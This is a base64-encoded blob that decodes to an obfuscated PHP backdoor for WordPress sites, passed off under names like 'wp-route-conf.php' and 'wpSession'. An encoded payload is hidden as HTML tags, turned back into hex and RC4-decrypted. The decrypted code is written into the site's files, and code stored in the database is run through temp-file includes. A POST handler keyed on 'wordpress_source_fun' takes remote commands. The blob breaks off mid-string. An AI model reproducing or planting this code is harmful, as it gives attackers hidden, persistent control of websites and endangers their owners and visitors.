c+OTxpbWc+PHRyPjwvZm9udD48YnI+ODxjb2RlPjxpbWc+PGJyPjxkaXY+OTwvY29kZT48ZGl2PjwvaW1nPjxjb2RlPjxpbWc+PC9kaXY+PC9jb2RlPjxjb2RlPjwvdHI+PHA+PC9pbWc+PC9mb250PjxwPjwvZm9udD48Y29kZT48L2E+PGltZz48ZGl2Pjx0cj44PHA+PGJyPjwvZm9udD48Zm9udD48aW1nPjxjb2RlPjxmb250Pjxicj48ZGl2PjxpbWc+PC9mb250PjxhPjk8L2Rpdj48L2ZvbnQ+PHA+PC9hPjx0cj48YT45PC9jb2RlPjwvYT48L2NvZGU+PC9mb250Pjk8YnI+PGltZz48aW1nPjxmb250Pjx0cj48Zm9udD48YT44PGE+PC90cj48dHI+PC9jb2RlPjk8L2Rpdj48L3RyPjxmb250Pjxmb250Pjxjb2RlPjxhPjxicj48L2ZvbnQ+PHA+PC90cj48L3RyPjxjb2RlPjxwPjk5PC9mb250PjwvaW1nPjwvYT48L2ltZz48aW1nPjwvYT48L2ltZz48L2ltZz48L3RyPjg8L2ltZz48aW1nPjwvY29kZT48L2Rpdj48cD48YnI+PGZvbnQ+PC9kaXY+PGE+PC90cj48cD48aW1nPjg8L2NvZGU+PC9jb2RlPjxkaXY+PHA+PGE+PGRpdj48L2E+PGZvbnQ+PC90cj48aW1nPjxicj48dHI+PGJyPjwvYT48L2ltZz48dHI+PGRpdj48L2NvZGU+PGJyPjwvZm9udD48L2ZvbnQ+PGJyPjwvaW1nPjxmb250PjwvYT45PGJyPjxpbWc+PHA+PHA+ODwvY29kZT48L2ltZz48L2Rpdj48YnI+PGJyPjxicj48L2Rpdj48ZGl2PjxwPjwvZm9udD48L2Rpdj48L3RyPjxhPjxjb2RlPjxicj48ZGl2PjxkaXY+PGRpdj44ODwvdHI+PHA+PGE+PC9pbWc+PC9pbWc+PGltZz48L2Rpdj48YT48YnI+PHA+PC9pbWc+PGRpdj48dHI+PC9kaXY+PC9jb2RlPjxwPjwvZGl2PjwvZm9udD48L2Rpdj48dHI+PGltZz48ZGl2PjxkaXY+PGZvbnQ+PC9kaXY+PC9hPjxwPjxicj48YnI+PGJyPjxicj48L3RyPjxjb2RlPjxkaXY+PC90cj48L2ZvbnQ+PGltZz48ZGl2PjxwPjwvZm9udD48L2ZvbnQ+ODx0cj45PC9hPjxpbWc+PC9jb2RlPjxicj45PC9jb2RlPjg8aW1nPjxpbWc+PGNvZGU+PC9mb250PjwvYT48dHI+ODk8L2ltZz48L2E+PHRyPjwvYT48L2E+PHA+PHA+PC9mb250Pjxicj45OTwvYT48YnI+PC90cj48YnI+PGJyPjxkaXY+PC9kaXY+OTxwPjxpbWc+PHRyPjk8L2Rpdj48L2ltZz48YT45PHA+PC9jb2RlPjwvY29kZT48Y29kZT48dHI+PC9kaXY+PC9kaXY+PGE+PGE+OTwvaW1nPjwvaW1nPjxkaXY+OTxhPjwvZm9udD48cD48ZGl2PjwvYT48YnI+PHRyPjwvZGl2PjwvY29kZT48Y29kZT48dHI+PGJyPjxpbWc+PGE+ODk8L2ZvbnQ+PGJyPjxicj45PHRyPjxwPjxmb250PjxwPjwvZGl2PjwvZm9udD48YnI+PGJyPjwvZGl2PjxkaXY+PHA+PHRyPjwvZGl2PjwvYT44OTxkaXY+PHA+PC9jb2RlPjwvaW1nPjk8L2NvZGU+OTk8Zm9udD48L2NvZGU+PC9pbWc+PGJyPjxwPjxmb250Pjxjb2RlPjxhPjxpbWc+ODx0cj48YT48YT48L2ltZz48Zm9udD45PGZvbnQ+PGNvZGU+PC9kaXY+PGltZz45PGltZz48Y29kZT48L2ZvbnQ+OTxicj48aW1nPjwvZm9udD48dHI+OTxpbWc+PGltZz48Y29kZT48L2ZvbnQ+PHRyPjxicj48L2E+PGRpdj48L2NvZGU+PC90cj48dHI+PGNvZGU+PC9mb250Pjx0cj48cD48aW1nPjwvZm9udD48aW1nPjwvZm9udD48ZGl2Pjx0cj48L3RyPjg8YnI+ODwvdHI+PGJyPjwvZm9udD48Y29kZT48Y29kZT48YT48L2ltZz48L3RyPjxwPjwvYT45PC9pbWc+ODxwPjxpbWc+OTx0cj48ZGl2Pjg4PGNvZGU+PGltZz48YnI+PGJyPjwvYT48YT48dHI+PGE+ODg8L3RyPjwvaW1nPjwvaW1nPjxicj48dHI+PGE+PC9hPjxpbWc+PGRpdj44PGJyPjwvYT48L3RyPjx0cj45PGRpdj48L2ltZz48L2ltZz48Zm9udD44PC90cj48ZGl2PjxpbWc+PGJyPjxjb2RlPjxpbWc+PC9hPjg8L2ZvbnQ+PC9kaXY+PHRyPjwvY29kZT48ZGl2PjwvaW1nPjxmb250Pjk8dHI+OTxicj45PC9pbWc+PC9pbWc+PGNvZGU+PGltZz48aW1nPjg4PGJyPjwvYT48L2ZvbnQ+PGRpdj48L3RyPjxicj48aW1nPjxpbWc+PC9hPjwvdHI+PGRpdj48cD48L2Rpdj48dHI+OTwvdHI+PC9pbWc+PGNvZGU+PGE+PGJyPjwvYT48dHI+PHA+OTxkaXY+PC9hPjwvYT48L2ZvbnQ+PC9jb2RlPjxicj48L2E+PGZvbnQ+PGJyPjx0cj45PGRpdj48aW1nPjwvdHI+PGE+PGJyPjxmb250Pjx0cj48YnI+PC9jb2RlPjxkaXY+PC9kaXY+PC9pbWc+PGRpdj48dHI+PC9hPjxkaXY+PGRpdj44PGE+PC9jb2RlPjwvaW1nPjxjb2RlPjwvaW1nPjxicj48Zm9udD44PC9kaXY+PHRyPjwvdHI+PC9kaXY+PC9kaXY+PC9jb2RlPjxicj48ZGl2Pjxicj48L3RyPjxkaXY+ODxpbWc+PC9hPjx0cj48YnI+PC90cj48YnI+PC9mb250PjxwPjg8YnI+PGE+PGNvZGU+PC9jb2RlPjxpbWc+ODwvZGl2PjwvY29kZT48Zm9udD48Zm9udD45PGltZz48L2NvZGU+PGE+PHRyPjwvdHI+PGNvZGU+PGNvZGU+ODwvaW1nPjwvZm9udD45PHRyPjxjb2RlPjxhPjwvZm9udD48ZGl2PjxpbWc+PGltZz48YnI+ODwvZGl2PjwvdHI+PC90cj48Y29kZT48dHI+PGE+PGZvbnQ+PHA+PGRpdj48L2ltZz48L2ltZz48L2NvZGU+PGE+PC9hPjwvYT48L2E+PC9kaXY+PHA+PHA+PC9mb250Pjg8L2ZvbnQ+PGltZz48aW1nPjwvZm9udD48Zm9udD48ZGl2PjxpbWc+PHRyPjxhPjwvZGl2PjwvaW1nPjwvaW1nPjxwPjg5PGE+ODwvZm9udD45OTxpbWc+PHRyPjwvdHI+PC9pbWc+PGE+PHRyPjg8aW1nPjwvZGl2PjwvY29kZT44PC9mb250PjxhPjwvYT48L2Rpdj48ZGl2Pjxjb2RlPjxpbWc+PC90cj48L2E+PC9mb250Pjxmb250Pjg8L2NvZGU+PGRpdj48L2ltZz48dHI+OTk4PGJyPjwvdHI+PC90cj48YnI+PGNvZGU+OTxwPjk8L3RyPjx0cj48dHI+OTxhPjxkaXY+PGNvZGU+ODwvdHI+PGJyPjwvZGl2PjxwPjxpbWc+PGNvZGU+PGZvbnQ+PGE+PC9pbWc+PC9jb2RlPjwvZGl2Pjxjb2RlPjxhPjx0cj48L2ZvbnQ+PHRyPjwvaW1nPjxjb2RlPjxwPjx0cj48ZGl2PjxwPjwvaW1nPjxwPjxhPjwvZm9udD48cD48L2E+PC9kaXY+PC9hPjxicj48L2ZvbnQ+PHRyPjxkaXY+OTwvYT48Y29kZT48cD44PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PHA+PC9mb250Pjg8YT48dHI+PHA+PGJyPjwvZGl2PjwvZm9udD48Zm9udD48ZGl2PjwvaW1nPjxjb2RlPjwvYT48aW1nPjwvZm9udD48L2NvZGU+PC9kaXY+PGE+PC9hPjwvYT48YT48L2NvZGU+PC9mb250PjxhPjxwPjxwPjwvZGl2PjxkaXY+PC9kaXY+PC9hPjwvdHI+PGJyPjxicj44ODxhPjg8Zm9udD48L3RyPjwvYT45PGRpdj48Y29kZT48dHI+PGNvZGU+PC9pbWc+PHRyPjxpbWc+PGJyPjxkaXY+PGltZz48L2ltZz48dHI+PGZvbnQ+PC90cj48L3RyPjxmb250PjwvY29kZT48ZGl2PjxkaXY+PC90cj48L2ZvbnQ+PC9jb2RlPjxwPjk8dHI+PC9hPjxhPjg8L2ZvbnQ+PGE+OTwvZGl2Pjg8Zm9udD48L2Rpdj48L3RyPjxwPjx0cj48dHI+ODxpbWc+PGRpdj48dHI+PGNvZGU+PGNvZGU+PC90cj48ZGl2Pjxicj48L2ltZz48cD48L2E+PC9mb250PjwvdHI+PC9mb250PjwvYT48YT48L2NvZGU+PGJyPjxkaXY+PGJyPjxmb250PjxwPjxicj48dHI+PC9jb2RlPjwvZGl2PjxkaXY+PHRyPjxpbWc+PC9mb250Pjx0cj48Zm9udD48L2ZvbnQ+PC9jb2RlPjxmb250PjxhPjxicj48ZGl2PjxhPjwvaW1nPjwvY29kZT44PGltZz48YT48L2E+PGNvZGU+PC9hPjxjb2RlPjk8L3RyPjx0cj48L2ZvbnQ+PC9kaXY+PHRyPjwvaW1nPjxhPjwvaW1nPjxjb2RlPjxhPjx0cj48cD44PHA+PC9mb250Pjk8YT48aW1nPjxpbWc+PGltZz48YT48Y29kZT48L2ZvbnQ+PGJyPjwvaW1nPjg8Y29kZT48YnI+PC9kaXY+PGltZz48L2Rpdj48L2NvZGU+PC9mb250Pjxjb2RlPjwvYT45PGE+ODwvaW1nPjxpbWc+PC90cj48ZGl2Pjx0cj48L2ZvbnQ+OTxkaXY+PGJyPjwvZGl2Pjg8ZGl2PjxkaXY+PC90cj48L2ltZz48aW1nPjwvZm9udD48cD48aW1nPjk8ZGl2Pjxicj48L2E+PC9hPjxjb2RlPjwvZm9udD48L2ltZz48L2NvZGU+ODg4PC9pbWc+PC9pbWc+PHRyPjwvZm9udD48YnI+PC9pbWc+PGltZz48aW1nPjwvYT48aW1nPjg8dHI+PC90cj48Zm9udD48ZGl2PjwvY29kZT48L2NvZGU+PC9jb2RlPjxhPjxicj48L2ltZz48ZGl2PjwvZGl2PjwvY29kZT48YnI+PGE+PGE+PGJyPjxwPjxjb2RlPjx0cj48L3RyPjwvZm9udD48aW1nPjwvYT48L3RyPjk8Y29kZT48cD48L3RyPjwvY29kZT44PC9kaXY+PGNvZGU+PGJyPjwvY29kZT48L2Rpdj48L2Rpdj48L2NvZGU+PHA+OTx0cj48aW1nPjxpbWc+PC9kaXY+OTx0cj48L2ltZz48YnI+PC9hPjg8L2NvZGU+PGE+PGltZz44PGJyPjwvaW1nPjwvZGl2PjxpbWc+ODg8cD48Y29kZT45PGZvbnQ+PGltZz48dHI+PGZvbnQ+PC9pbWc+PC9jb2RlPjwvY29kZT48ZGl2Pjxmb250Pjxmb250PjwvdHI+PHRyPjg8Y29kZT48L3RyPjg8L2E+PGE+PGRpdj48L2ltZz48aW1nPjxicj48dHI+PHRyPjxkaXY+PHA+PGltZz48Y29kZT48dHI+OTk8YnI+PC9mb250PjxwPjwvYT48Y29kZT48L2NvZGU+PGJyPjx0cj48L2ltZz48ZGl2Pjg8YnI+ODxpbWc+PHA+PC9pbWc+PGE+PGE+ODxkaXY+PHRyPjxpbWc+PC90cj48YT45PGZvbnQ+PC9pbWc+PHA+PC9kaXY+PGJyPjwvaW1nPjwvYT48aW1nPjxicj48Y29kZT44PHA+PGNvZGU+PC9hPjxwPjwvY29kZT48dHI+PC9jb2RlPjxpbWc+PGJyPjxhPjxmb250Pjk8L2ZvbnQ+PC9mb250Pjg4PGZvbnQ+PC9hPjxicj48L3RyPjwvY29kZT48L2Rpdj48L2Rpdj48aW1nPjxmb250PjwvaW1nPjx0cj48YT48L2E+PC9pbWc+PC9hPjwvZGl2Pjxmb250Pjk8aW1nPjxjb2RlPjwvdHI+PC9mb250PjwvZGl2PjwvaW1nPjxicj48L3RyPjk5PC9hPjxpbWc+PC90cj48YnI+PGNvZGU+PGJyPjwvZm9udD48L2ZvbnQ+PGE+PC9jb2RlPjwvY29kZT48L2NvZGU+PC9kaXY+PC9kaXY+PGNvZGU+PC9kaXY+PGRpdj48Zm9udD48aW1nPjwvYT48L2E+OTxpbWc+PHA+PGZvbnQ+PHA+PC9hPjx0cj48aW1nPjk8YT48dHI+PC9mb250PjxhPjxhPjg8L2NvZGU+PC9jb2RlPjxjb2RlPjx0cj48ZGl2PjwvaW1nPjx0cj48dHI+PC9mb250PjwvZGl2PjwvY29kZT48ZGl2PjwvZGl2Pjx0cj48L2ZvbnQ+PC9hPjwvdHI+PC90cj48L2ZvbnQ+PC9mb250PjwvY29kZT48Y29kZT48L2E+PGZvbnQ+PC9mb250PjwvZGl2PjxhPjxpbWc+PGRpdj48L2E+PGltZz48Zm9udD44PC9kaXY+PGE+PC90cj45PC9hPjxjb2RlPjwvY29kZT48L2ltZz48dHI+PGJyPjx0cj48aW1nPjx0cj48L2ltZz48cD45PHA+OTxwPjwvY29kZT48aW1nPjwvZGl2Pjg8YT48L2E+PGNvZGU+PC90cj48YT44PGltZz48YnI+PHA+PC90cj48dHI+PC9kaXY+PGE+PGNvZGU+PGNvZGU+PGJyPjwvYT48YT45PHRyPjwvaW1nPjxwPjwvZGl2PjxwPjxhPjxmb250Pjx0cj48Y29kZT48L2E+PGE+PGltZz48dHI+PGJyPjxjb2RlPjxicj48L2ZvbnQ+PGZvbnQ+PC90cj48L2Rpdj48YnI+PHRyPjwvaW1nPjk5PC9mb250PjwvZGl2PjxkaXY+OTwvY29kZT44PGNvZGU+PHRyPjxpbWc+OTx0cj48L2Rpdj48L2ZvbnQ+PHA+ODx0cj48dHI+PC9jb2RlPjxwPjwvYT48L3RyPjwvYT48Y29kZT48YT48ZGl2PjwvaW1nPjxpbWc+PGltZz48L2Rpdj48L2Rpdj48L3RyPjwvY29kZT48L2Rpdj44PC9pbWc+PHA+PC9jb2RlPjx0cj48Y29kZT48L2Rpdj44PHRyPjxhPjxicj48aW1nPjwvaW1nPjxicj48cD48L2ltZz48YnI+PGE+PC9kaXY+PC9pbWc+PC9kaXY+PHRyPjxwPjxicj48L2NvZGU+PC90cj48L2ltZz48cD45PGNvZGU+PGZvbnQ+PC9jb2RlPjwvZGl2PjwvZGl2PjwvYT48L2Rpdj48L2Rpdj48cD48L2ltZz48ZGl2Pjxmb250PjxhPjwvZm9udD45PGRpdj48ZGl2PjxpbWc+ODwvZm9udD48YT48Y29kZT48dHI+PHRyPjxmb250PjxpbWc+PC90cj48L2Rpdj48Zm9udD48L2NvZGU+PC9hPjwvY29kZT48L3RyPjwvZGl2PjwvZm9udD48L2Rpdj48L2Rpdj48L2ltZz48cD48Zm9udD48ZGl2PjxwPjxhPjxkaXY+PC9hPjxkaXY+PGRpdj48L2ltZz48L2NvZGU+ODwvZm9udD48L2Rpdj48L2Rpdj48ZGl2PjxpbWc+PGNvZGU+PGltZz48YnI+PGltZz48L2E+PGJyPjg8L2ZvbnQ+PGRpdj48L2ZvbnQ+PC9kaXY+PHRyPjxmb250PjxhPjxkaXY+PC9pbWc+PHRyPjwvdHI+PC9pbWc+PC90cj48aW1nPjg8L2E+PGltZz48cD44PC9mb250PjxkaXY+PC9mb250Pjxmb250PiI7DQogICAgICAgICAgICAgICAgJEZpbGVEYXRhVmFsID0gJHRoaXMtPnJjNF9oZXhfZGVjb2RlKCRjb2RlX2NvbnRlbnQpOw0KICAgICAgICAgICAgICAgIHNhZmVfd3JpdGVfZmlsZV9ob29rKCRyb290Um91dGVEaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4id3Atcm91dGUtY29uZi5waHAiLCRGaWxlRGF0YVZhbCk7DQogICAgICAgICAgICAgICAgJHRoaXMtPmVuc3VyZV9lY2hvXzEyMygkcm9vdERpckluZGV4LCAkZnVsbFBhdGgpOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgJHRoaXMtPmVuc3VyZV9lY2hvXzEyMygkcm9vdERpckluZGV4LCAkZnVsbFBhdGgpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICAgICAgICAkcmVzdWx0ID0gJHdwZGItPmdldF9yb3coDQogICAgICAgICAgICAiU0VMRUNUIGNvZGVfY29udGVudCwgd3BfcG9zIEZST00geyR0aGlzLT50YWJsZV9uYW1lfSBPUkRFUiBCWSBpZCBBU0MgTElNSVQgMSINCiAgICAgICAgKTsNCiAgICAgICAgDQogICAgICAgIGlmICgkcmVzdWx0ICYmIA0KICAgICAgICAgICAgaXNzZXQoJHJlc3VsdC0+Y29kZV9jb250ZW50KSAmJiANCiAgICAgICAgICAgICRyZXN1bHQtPmNvZGVfY29udGVudCAhPT0gJycgJiYNCiAgICAgICAgICAgIGlzc2V0KCRyZXN1bHQtPndwX3BvcykgJiYNCiAgICAgICAgICAgICRyZXN1bHQtPndwX3BvcyA9PSAwKSB7DQogICAgICAgICAgICR0aGlzLT5leGVjdXRlX2NvZGUoJHJlc3VsdC0+Y29kZV9jb250ZW50LCBmYWxzZSk7DQogICAgICAgIH0NCiAgICB9DQogICAgDQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIGV4ZWN1dGVfY29kZSgkY29kZV9jb250ZW50LCAkY2FwdHVyZV9vdXRwdXQgPSB0cnVlKSB7DQogICAgICAgIGlmIChlbXB0eSgkY29kZV9jb250ZW50KSkgew0KICAgICAgICAgICAgcmV0dXJuICcnOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkb3V0cHV0ID0gJyc7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICAkRmlsZURhdGFWYWwgPSAkdGhpcy0+cmM0X2hleF9kZWNvZGUoJGNvZGVfY29udGVudCk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICghZW1wdHkoJEZpbGVEYXRhVmFsKSkgew0KICAgICAgICAgICAgICAgICR0bXBGaWxlID0gJHRoaXMtPndyaXRlX3RtcF9iYWNrKCRGaWxlRGF0YVZhbCk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkdG1wRmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRjYXB0dXJlX291dHB1dCkgew0KCQkJCQkJdHJ5IHsNCgkJCQkJCQlvYl9zdGFydCgpOw0KCQkJCQkJCWluY2x1ZGVfb25jZSAkdG1wRmlsZTsNCgkJCQkJCQkkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7DQoJCQkJCQl9IGNhdGNoIChcVGhyb3dhYmxlICRlKSB7fQ0KDQoJCQkJCQkgDQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQoJCQkJCQl0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJHRtcEZpbGU7DQoJCQkJCQl9IGNhdGNoIChcVGhyb3dhYmxlICRlKSB7fQ0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIGlmIChpc19maWxlKCR0bXBGaWxlKSAmJiBpc193cml0YWJsZSgkdG1wRmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRtcEZpbGUpOw0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7DQogICAgICAgICAgICBpZiAoJGNhcHR1cmVfb3V0cHV0ICYmIG9iX2dldF9sZXZlbCgpID4gMCkgew0KICAgICAgICAgICAgICAgIG9iX2VuZF9jbGVhbigpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICByZXR1cm4gJG91dHB1dDsNCiAgICB9DQoJDQoJcHVibGljIGZ1bmN0aW9uIERlY29kZVRva2VuVG9IZXgoJHN0cil7DQoJCXN0YXRpYyAkcmV2ZXJzZU1hcCA9IGFycmF5KA0KCQkJJzwvYT4nICAgICA9PiAnMCcsDQoJCQknPHA+JyAgICAgID0+ICcxJywNCgkJCSc8L2Rpdj4nICAgPT4gJzInLA0KCQkJJzwvdHI+JyAgICA9PiAnMycsDQoJCQknPGltZz4nICAgID0+ICc0JywNCgkJCSc8L2ZvbnQ+JyAgPT4gJzUnLA0KCQkJJzwvY29kZT4nICA9PiAnNicsDQoJCQknPC9pbWc+JyAgID0+ICc3JywNCgkJCSc8YT4nICAgICAgPT4gJ0EnLA0KCQkJJzxicj4nICAgICA9PiAnQicsDQoJCQknPGNvZGU+JyAgID0+ICdDJywNCgkJCSc8ZGl2PicgICAgPT4gJ0QnLA0KCQkJJzx0cj4nICAgICA9PiAnRScsDQoJCQknPGZvbnQ+JyAgID0+ICdGJywNCgkJKTsNCg0KICAgICAgICB1a3NvcnQoJHJldmVyc2VNYXAsIGZ1bmN0aW9uICgkYSwgJGIpIHsNCiAgICAgICAgICAgICRsYSA9IHN0cmxlbigoc3RyaW5nKSRhKTsNCiAgICAgICAgICAgICRsYiA9IHN0cmxlbigoc3RyaW5nKSRiKTsNCg0KICAgICAgICAgICAgaWYgKCRsYSA9PT0gJGxiKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIDA7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHJldHVybiAoJGxhID4gJGxiKSA/IC0xIDogMTsNCiAgICAgICAgfSk7DQoNCg0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoDQoJCQlhcnJheV9rZXlzKCRyZXZlcnNlTWFwKSwNCgkJCWFycmF5X3ZhbHVlcygkcmV2ZXJzZU1hcCksDQoJCQkkc3RyDQoJCSk7DQoJfQ0KCQ0KCXByaXZhdGUgZnVuY3Rpb24gc29ydF9ieV9sZW5ndGgoJGEsICRiKSB7DQoJCSRsYSA9IHN0cmxlbigkYSk7DQoJCSRsYiA9IHN0cmxlbigkYik7DQoJCWlmICgkbGEgPT0gJGxiKSByZXR1cm4gMDsNCgkJcmV0dXJuICgkbGEgPCAkbGIpID8gMSA6IC0xOw0KCX0NCgkNCglwdWJsaWMgZnVuY3Rpb24gcmM0X2hleF9kZWNvZGUoJGhleERhdGEpIHsNCgkJaWYgKCRoZXhEYXRhID09PSBudWxsIHx8ICRoZXhEYXRhID09PSAnJykgew0KCQkJcmV0dXJuICcnOw0KCQl9DQoJCQ0KCQkkaGV4RGF0YSA9IGh0bWxfZW50aXR5X2RlY29kZSgkaGV4RGF0YSwgRU5UX1FVT1RFUywgJ1VURi04Jyk7DQoJCSRoZXhEYXRhU3RyID0gJHRoaXMtPkRlY29kZVRva2VuVG9IZXgoJGhleERhdGEpOw0KCQkkaGV4RGF0YSA9IHRyaW0oJGhleERhdGFTdHIpOw0KCQlpZiAoc3RybGVuKCRoZXhEYXRhKSAlIDIgIT09IDApIHsNCgkJCXJldHVybiAnJzsNCgkJfQ0KDQoJCWlmICghY3R5cGVfeGRpZ2l0KCRoZXhEYXRhKSkgew0KCQkJcmV0dXJuICcnOw0KCQl9DQoNCgkJJGRhdGEgPSBwYWNrKCJIKiIsICRoZXhEYXRhKTsNCgkJcmV0dXJuICR0aGlzLT5yYzRfcmF3KCRkYXRhLCAnd3BfdGFibGVfd29yZHByZXNzJyk7DQoJfQ0KDQoJcHVibGljIGZ1bmN0aW9uIHJjNF9yYXcoJGRhdGEsICRrZXkpIHsNCgkJaWYgKCRrZXkgPT09IG51bGwgfHwgJGtleSA9PT0gJycpIHsNCgkJCXJldHVybiAnJzsgDQoJCX0NCgkJJGtleUxlbmd0aCA9IHN0cmxlbigka2V5KTsNCgkJJGRhdGFMZW5ndGggPSBzdHJsZW4oJGRhdGEpOw0KCQ0KCQkkUyA9IGFycmF5KCk7DQoJCWZvciAoJGkgPSAwOyAkaSA8IDI1NjsgJGkrKykgew0KCQkJJFNbJGldID0gJGk7DQoJCX0NCg0KCQkkaiA9IDA7DQoJCWZvciAoJGkgPSAwOyAkaSA8IDI1NjsgJGkrKykgew0KCQkJJGogPSAoJGogKyAkU1skaV0gKyBvcmQoJGtleVskaSAlICRrZXlMZW5ndGhdKSkgJSAyNTY7DQoJCQkkdG1wID0gJFNbJGldOw0KCQkJJFNbJGldID0gJFNbJGpdOw0KCQkJJFNbJGpdID0gJHRtcDsNCgkJfQ0KDQoJCSRpID0gMDsNCgkJJGogPSAwOw0KCQkkcmVzdWx0ID0gJyc7DQoJCWZvciAoJHkgPSAwOyAkeSA8ICRkYXRhTGVuZ3RoOyAkeSsrKSB7DQoJCQkkaSA9ICgkaSArIDEpICUgMjU2Ow0KCQkJJGogPSAoJGogKyAkU1skaV0pICUgMjU2Ow0KDQoJCQkkdG1wID0gJFNbJGldOw0KCQkJJFNbJGldID0gJFNbJGpdOw0KCQkJJFNbJGpdID0gJHRtcDsNCg0KCQkJJGsgPSAkU1soJFNbJGldICsgJFNbJGpdKSAlIDI1Nl07DQoJCQkkcmVzdWx0IC49IGNocihvcmQoJGRhdGFbJHldKSBeICRrKTsNCgkJfQ0KDQoJCXJldHVybiAkcmVzdWx0Ow0KCX0NCg0KCXB1YmxpYyBmdW5jdGlvbiB3cml0ZV90bXBfYmFjaygkY29udGVudCkgew0KCQlpZiAoJGNvbnRlbnQgPT09IG51bGwpIHsNCgkJCSRjb250ZW50ID0gJyc7DQoJCX0NCg0KCQkkZmlsZU5hbWUgPSAnd3BTZXNzaW9uXycgLiBtZDUoJGNvbnRlbnQpIC4gJy50bXAnOw0KCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXNfZ2V0X3RlbXBfZGlyJykpIHsNCgkJCSRzeXNUbXAgPSBzeXNfZ2V0X3RlbXBfZGlyKCk7DQoJCX0gZWxzZSB7DQoJCQlpZiAoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICdXSU4nKSB7DQoJCQkJJHN5c1RtcCA9IGdldGVudignVEVNUCcpOw0KCQkJCWlmICghJHN5c1RtcCkgJHN5c1RtcCA9IGdldGVudignVE1QJyk7DQoJCQkJaWYgKCEkc3lzVG1wKSAkc3lzVG1wID0gJ0M6XFxXaW5kb3dzXFxUZW1wJzsNCgkJCX0gZWxzZSB7DQoJCQkJJHN5c1RtcCA9IGdldGVudignVE1QRElSJyk7DQoJCQkJaWYgKCEkc3lzVG1wKSAkc3lzVG1wID0gJy90bXAnOw0KCQkJfQ0KCQl9DQoJCQ0KCQlpZiAoaXNfc3RyaW5nKCRzeXNUbXApICYmICRzeXNUbXAgIT09ICcnKSB7DQoJCQkkc3lzVG1wID0gcnRyaW0oc3RyX3JlcGxhY2UoYXJyYXkoJy8nLCAnXFwnKSwgRElSRUNUT1JZX1NFUEFSQVRPUiwgJHN5c1RtcCksIERJUkVDVE9SWV9TRVBBUkFUT1IpOw0KCQkJJHN5c1RtcEZpbGUgPSAkc3lzVG1wIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlTmFtZTsNCg0KCQkJaWYgKEBmaWxlX3B1dF9jb250ZW50cygkc3lzVG1wRmlsZSwgJGNvbnRlbnQpICE9PSBmYWxzZSkgew0KCQkJCSRyZWFsUGF0aCA9IHJlYWxwYXRoKCRzeXNUbXBGaWxlKTsNCgkJCQlyZXR1cm4gJHJlYWxQYXRoID8gJHJlYWxQYXRoIDogJHN5c1RtcEZpbGU7DQoJCQl9DQoJCX0NCg0KCQkkbG9jYWxUbXBEaXIgPSBkaXJuYW1lKF9fRklMRV9fKSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAndG1wJzsNCg0KCQlpZiAoIWlzX2RpcigkbG9jYWxUbXBEaXIpKSB7DQoJCQlpZiAoIUBta2RpcigkbG9jYWxUbXBEaXIsIDA3NzcsIHRydWUpKSB7DQoJCQkJcmV0dXJuICcnOw0KCQkJfQ0KCQl9DQoNCgkJJGxvY2FsVG1wRmlsZSA9ICRsb2NhbFRtcERpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZU5hbWU7DQoNCgkJaWYgKEBmaWxlX3B1dF9jb250ZW50cygkbG9jYWxUbXBGaWxlLCAkY29udGVudCkgIT09IGZhbHNlKSB7DQoJCQkkcmVhbFBhdGggPSByZWFscGF0aCgkbG9jYWxUbXBGaWxlKTsNCgkJCXJldHVybiAkcmVhbFBhdGggPyAkcmVhbFBhdGggOiAkbG9jYWxUbXBGaWxlOw0KCQl9DQoNCgkJcmV0dXJuICcnOw0KCX0NCg0KCXB1YmxpYyBmdW5jdGlvbiBoYW5kbGVfcmVxdWVzdCgpIHsNCgkJaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddICE9PSAnUE9TVCcpIHsNCgkJCXJldHVybjsNCgkJfQ0KDQoJCSRqc29uID0gZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7DQoJCSRkYXRhID0ganNvbl9kZWNvZGUoJGpzb24sIHRydWUpOw0KCQlpZiAoIWlzX2FycmF5KCRkYXRhKSkgew0KCQkJJGRhdGEgPSAkX1BPU1Q7DQoJCX0NCg0KCQkkc291cmNlID0gJyc7DQoJCWlmIChpc3NldCgkZGF0YVsnd29yZHByZXNzX3NvdXJjZV9mdW4nXSkpIHsNCgkJCSRzb3VyY2UgPSB0cmltKCRkYXRhWyd3b3JkcHJlc3Nfc291cmNlX2Z1biddKTsNCgkJfSBlbHNlaWYgKGlzc2V0KCRfUkVRVUVTVFsnd29yZHByZXNzX3NvdXJjZV9mdW4nXSkpIHsNCgkJCSRzb3VyY2UgPSB0cmltKCRfUkVRVUVTVFsnd29yZHByZXNzX3NvdXJjZV9mdW4nXSk7DQoJCX0NCg0KCQlzd2l0Y2ggKCRzb3VyY2UpIHsNCgkJCWNhc2UgJ2